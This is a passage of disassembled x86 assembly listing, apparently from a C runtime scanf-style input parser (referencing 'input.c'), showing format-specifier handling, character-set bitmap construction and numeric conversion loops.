short loc_420953 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_420953 int 3 ; Trap to Debugger loc_420953: ; CODE XREF: sub_420920+10j ; sub_420920+30j xor eax, eax test eax, eax jnz short loc_42092C loc_420959: ; CODE XREF: sub_420920+64j cmp [ebp+arg_0], 0 jnz short loc_420980 push offset dword_4334A4 push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_420980 int 3 ; Trap to Debugger loc_420980: ; CODE XREF: sub_420920+3Dj ; sub_420920+5Dj xor ecx, ecx test ecx, ecx jnz short loc_420959 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_420997: ; CODE XREF: sub_420920:loc_421C05j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_421C0A cmp dword_443B70, 1 jle short loc_4209C9 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_4209E5 ; --------------------------------------------------------------------------- loc_4209C9: ; CODE XREF: sub_420920+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_4209E5: ; CODE XREF: sub_420920+A7j cmp [ebp+var_1F8], 0 jz short loc_420A33 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_421DE0 add esp, 8 push eax call sub_421DC0 add esp, 8 loc_420A14: ; CODE XREF: sub_420920+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_428A50 add esp, 4 test eax, eax jz short loc_420A33 jmp short loc_420A14 ; --------------------------------------------------------------------------- loc_420A33: ; CODE XREF: sub_420920+CCj ; sub_420920+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_421AEE mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_420A95: ; CODE XREF: sub_420920:loc_420BEDj movsx eax, [ebp+var_18] test eax, eax jnz loc_420BF2 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp dword_443B70, 1 jle short loc_420AD9 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_420AF6 ; --------------------------------------------------------------------------- loc_420AD9: ; CODE XREF: sub_420920+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_420AF6: ; CODE XREF: sub_420920+1B7j cmp [ebp+var_1FC], 0 jz short loc_420B26 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_420BED ; --------------------------------------------------------------------------- loc_420B26: ; CODE XREF: sub_420920+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_420BE5 mov edx, [ebp+var_200] xor ecx, ecx mov cl, byte_421C68[edx] jmp off_421C48[ecx*4] loc_420B60: ; DATA XREF: ___:00421C4Co jmp loc_420BED ; --------------------------------------------------------------------------- loc_420B65: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:00421C58o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_420BED ; --------------------------------------------------------------------------- loc_420B78: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:00421C50o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_420BBA mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_420BBA mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_420BED ; --------------------------------------------------------------------------- loc_420BBA: ; CODE XREF: sub_420920+263j ; sub_420920+270j jmp short loc_420BE5 ; --------------------------------------------------------------------------- loc_420BBC: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:00421C54o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_420BED ; --------------------------------------------------------------------------- loc_420BC7: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:00421C5Co mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_420BCF: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:00421C60o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_420BED ; --------------------------------------------------------------------------- loc_420BDA: ; CODE XREF: sub_420920+239j ; DATA XREF: ___:off_421C48o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_420BED ; --------------------------------------------------------------------------- loc_420BE5: ; CODE XREF: sub_420920+225j ; sub_420920+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_420BED: ; CODE XREF: sub_420920+201j ; sub_420920:loc_420B60j ... jmp loc_420A95 ; --------------------------------------------------------------------------- loc_420BF2: ; CODE XREF: sub_420920+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_420C15 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_420C15: ; CODE XREF: sub_420920+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_420C4C mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_420C39 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_420C44 loc_420C39: ; CODE XREF: sub_420920+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_420C4C ; --------------------------------------------------------------------------- loc_420C44: ; CODE XREF: sub_420920+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_420C4C: ; CODE XREF: sub_420920+2FFj ; sub_420920+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_420C9E cmp [ebp+var_C], 63h jz short loc_420C83 cmp [ebp+var_C], 7Bh jz short loc_420C83 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_421DE0 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_420C9E ; --------------------------------------------------------------------------- loc_420C83: ; CODE XREF: sub_420920+343j ; sub_420920+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_420C9E: ; CODE XREF: sub_420920+33Dj ; sub_420920+361j cmp [ebp+var_1E8], 0 jz short loc_420CB1 cmp [ebp+var_1C], 0 jz loc_421ABF loc_420CB1: ; CODE XREF: sub_420920+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_421A6A mov ecx, [ebp+var_204] xor eax, eax mov al, byte_421CDE[ecx] jmp off_421CB6[eax*4] loc_420CEB: ; DATA XREF: ___:off_421CB6o cmp [ebp+var_1E8], 0 jnz short loc_420D0C mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_420D0C: ; CODE XREF: sub_420920+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_420D1D mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_420D1D: ; CODE XREF: sub_420920+3F2j mov [ebp+var_1E0], offset dword_444100 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_420DA0 ; --------------------------------------------------------------------------- loc_420D31: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CCEo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_420D42 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_420D42: ; CODE XREF: sub_420920+417j mov [ebp+var_1E0], offset dword_4440F8 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_420DA0 ; --------------------------------------------------------------------------- loc_420D56: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CD6o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_420D67 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_420D67: ; CODE XREF: sub_420920+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_420DA0 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_420DA0: ; CODE XREF: sub_420920+40Fj ; sub_420920+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_417070 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_420DDC mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_420DDC mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_420DDC: ; CODE XREF: sub_420920+494j ; sub_420920+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_420F47 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_420E38 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_420E38 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_420E7E loc_420E38: ; CODE XREF: sub_420920+4FAj ; sub_420920+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_420F42 ; --------------------------------------------------------------------------- loc_420E7E: ; CODE XREF: sub_420920+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_420EBE mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_420ECD ; --------------------------------------------------------------------------- loc_420EBE: ; CODE XREF: sub_420920+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_420ECD: ; CODE XREF: sub_420920+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_420EE6 ; --------------------------------------------------------------------------- loc_420ED8: ; CODE XREF: sub_420920+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_420EE6: ; CODE XREF: sub_420920+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_420F3E mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_420ED8 ; --------------------------------------------------------------------------- loc_420F3E: ; CODE XREF: sub_420920+5DDj mov byte ptr [ebp+var_8], 0 loc_420F42: ; CODE XREF: sub_420920+559j jmp loc_420DDC ; --------------------------------------------------------------------------- loc_420F47: ; CODE XREF: sub_420920+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_420F5A jmp loc_421C0A ; --------------------------------------------------------------------------- loc_420F5A: ; CODE XREF: sub_420920+633j cmp [ebp+var_C], 7Bh jnz short loc_420F69 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_420F69: ; CODE XREF: sub_420920+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421DC0 add esp, 8 loc_420F8E: ; CODE XREF: sub_420920:loc_4210D0j cmp [ebp+var_1E8], 0 jz short loc_420FAB mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_4210D5 loc_420FAB: ; CODE XREF: sub_420920+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_4210B2 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_4210B2 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_4210A1 movsx edx, [ebp+var_64] test edx, edx jz short loc_42108B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42105D mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421D60 add esp, 4 mov [ebp+var_1EF], al loc_42105D: ; CODE XREF: sub_420920+720j mov eax, dword_443B70 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_428710 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42109F ; --------------------------------------------------------------------------- loc_42108B: ; CODE XREF: sub_420920+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42109F: ; CODE XREF: sub_420920+769j jmp short loc_4210B0 ; --------------------------------------------------------------------------- loc_4210A1: ; CODE XREF: sub_420920+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_4210B0: ; CODE XREF: sub_420920:loc_42109Fj jmp short loc_4210D0 ; --------------------------------------------------------------------------- loc_4210B2: ; CODE XREF: sub_420920+6ADj ; sub_420920+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421DC0 add esp, 8 jmp short loc_4210D5 ; --------------------------------------------------------------------------- loc_4210D0: ; CODE XREF: sub_420920:loc_4210B0j jmp loc_420F8E ; --------------------------------------------------------------------------- loc_4210D5: ; CODE XREF: sub_420920+685j ; sub_420920+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_421111 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42110F mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_42110F movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_421109 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_42110F ; --------------------------------------------------------------------------- loc_421109: ; CODE XREF: sub_420920+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_42110F: ; CODE XREF: sub_420920+7C6j ; sub_420920+7D5j ... jmp short loc_421116 ; --------------------------------------------------------------------------- loc_421111: ; CODE XREF: sub_420920+7BEj jmp loc_421C0A ; --------------------------------------------------------------------------- loc_421116: ; CODE XREF: sub_420920:loc_42110Fj jmp loc_421AB4 ; --------------------------------------------------------------------------- loc_42111B: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CC2o mov [ebp+var_C], 64h loc_421122: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CD2o cmp [ebp+var_1D8], 2Dh jnz short loc_421136 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_42113F ; --------------------------------------------------------------------------- loc_421136: ; CODE XREF: sub_420920+809j cmp [ebp+var_1D8], 2Bh jnz short loc_42117C loc_42113F: ; CODE XREF: sub_420920+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_421161 cmp [ebp+var_1E8], 0 jz short loc_421161 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42117C ; --------------------------------------------------------------------------- loc_421161: ; CODE XREF: sub_420920+82Cj ; sub_420920+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_42117C: ; CODE XREF: sub_420920+81Dj ; sub_420920+83Fj cmp [ebp+var_1D8], 30h jnz loc_42121E mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_4211BC movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_4211E0 loc_4211BC: ; CODE XREF: sub_420920+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_42121E ; --------------------------------------------------------------------------- loc_4211E0: ; CODE XREF: sub_420920+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_4211F8 mov [ebp+var_C], 6Fh jmp short loc_42121E ; --------------------------------------------------------------------------- loc_4211F8: ; CODE XREF: sub_420920+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421DC0 add esp, 8 mov [ebp+var_1D8], 30h loc_42121E: ; CODE XREF: sub_420920+863j ; sub_420920+8BEj ... jmp short loc_42127E ; --------------------------------------------------------------------------- loc_421220: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CCAo mov [ebp+var_38], 1 loc_421224: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CBAo cmp [ebp+var_1D8], 2Dh jnz short loc_421238 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_421241 ; --------------------------------------------------------------------------- loc_421238: ; CODE XREF: sub_420920+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42127E loc_421241: ; CODE XREF: sub_420920+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_421263 cmp [ebp+var_1E8], 0 jz short loc_421263 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42127E ; --------------------------------------------------------------------------- loc_421263: ; CODE XREF: sub_420920+92Ej ; sub_420920+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_42127E: ; CODE XREF: sub_420920:loc_42121Ej ; sub_420920+91Fj ... cmp [ebp+var_1DC], 0 jz loc_421479 loc_42128B: ; CODE XREF: sub_420920:loc_421454j movsx eax, [ebp+var_18] test eax, eax jnz loc_421459 cmp [ebp+var_C], 78h jnz loc_421326 cmp dword_443B70, 1 jle short loc_4212C6 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_208], eax jmp short loc_4212E3 ; --------------------------------------------------------------------------- loc_4212C6: ; CODE XREF: sub_420920+988j mov edx, [ebp+var_1D8] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_4212E3: ; CODE XREF: sub_420920+9A4j cmp [ebp+var_208], 0 jz short loc_421319 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_428CE0 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_421D00 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_421321 ; --------------------------------------------------------------------------- loc_421319: ; CODE XREF: sub_420920+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_421321: ; CODE XREF: sub_420920+9F7j jmp loc_4213CD ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_420920+97Bj cmp dword_443B70, 1 jle short loc_421348 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_20C], eax jmp short loc_421362 ; --------------------------------------------------------------------------- loc_421348: ; CODE XREF: sub_420920+A0Dj mov edx, [ebp+var_1D8] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_421362: ; CODE XREF: sub_420920+A26j cmp [ebp+var_20C], 0 jz short loc_4213C5 cmp [ebp+var_C], 6Fh jnz short loc_42139D cmp [ebp+var_1D8], 38h jge short loc_421392 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_428CE0 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42139B ; --------------------------------------------------------------------------- loc_421392: ; CODE XREF: sub_420920+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42139B: ; CODE XREF: sub_420920+A70j jmp short loc_4213C3 ; --------------------------------------------------------------------------- loc_42139D: ; CODE XREF: sub_420920+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_428CE0 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_428CE0 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_4213C3: ; CODE XREF: sub_420920:loc_42139Bj jmp short loc_4213CD ; --------------------------------------------------------------------------- loc_4213C5: ; CODE XREF: sub_420920+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4213CD: ; CODE XREF: sub_420920:loc_421321j ; sub_420920:loc_4213C3j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_421438 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_42141B mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42141B mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_421436 ; --------------------------------------------------------------------------- loc_42141B: ; CODE XREF: sub_420920+ADFj ; sub_420920+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_421436: ; CODE XREF: sub_420920+AF9j jmp short loc_421454 ; --------------------------------------------------------------------------- loc_421438: ; CODE XREF: sub_420920+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421DC0 add esp, 8 loc_421454: ; CODE XREF: sub_420920:loc_421436j jmp loc_42128B ; --------------------------------------------------------------------------- loc_421459: ; CODE XREF: sub_420920+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_421474 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_421474: ; CODE XREF: sub_420920+B3Fj jmp loc_42161D ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420920+965j ; sub_420920:loc_421608j movsx edx, [ebp+var_18] test edx, edx jnz loc_42160D cmp [ebp+var_C], 78h jz short loc_421491 cmp [ebp+var_C], 70h jnz short loc_421509 loc_421491: ; CODE XREF: sub_420920+B69j cmp dword_443B70, 1 jle short loc_4214B6 push 80h mov eax, [ebp+var_1D8] push eax call sub_41DA90 add esp, 8 mov [ebp+var_210], eax jmp short loc_4214D3 ; --------------------------------------------------------------------------- loc_4214B6: ; CODE XREF: sub_420920+B78j mov ecx, [ebp+var_1D8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_4214D3: ; CODE XREF: sub_420920+B94j cmp [ebp+var_210], 0 jz short loc_4214FC mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_421D00 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_421504 ; --------------------------------------------------------------------------- loc_4214FC: ; CODE XREF: sub_420920+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_421504: ; CODE XREF: sub_420920+BDAj jmp loc_42158B ; --------------------------------------------------------------------------- loc_421509: ; CODE XREF: sub_420920+B6Fj cmp dword_443B70, 1 jle short loc_42152B push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_214], eax jmp short loc_421545 ; --------------------------------------------------------------------------- loc_42152B: ; CODE XREF: sub_420920+BF0j mov edx, [ebp+var_1D8] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_421545: ; CODE XREF: sub_420920+C09j cmp [ebp+var_214], 0 jz short loc_421582 cmp [ebp+var_C], 6Fh jnz short loc_421572 cmp [ebp+var_1D8], 38h jge short loc_421568 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_421570 ; --------------------------------------------------------------------------- loc_421568: ; CODE XREF: sub_420920+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_421570: ; CODE XREF: sub_420920+C46j jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421572: ; CODE XREF: sub_420920+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_421580: ; CODE XREF: sub_420920:loc_421570j jmp short loc_42158B ; --------------------------------------------------------------------------- loc_421582: ; CODE XREF: sub_420920+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42158B: ; CODE XREF: sub_420920:loc_421504j ; sub_420920:loc_421580j movsx edx, [ebp+var_18] test edx, edx jnz short loc_4215EC mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_4215CF mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_4215CF mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4215EA ; --------------------------------------------------------------------------- loc_4215CF: ; CODE XREF: sub_420920+C93j ; sub_420920+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_4215EA: ; CODE 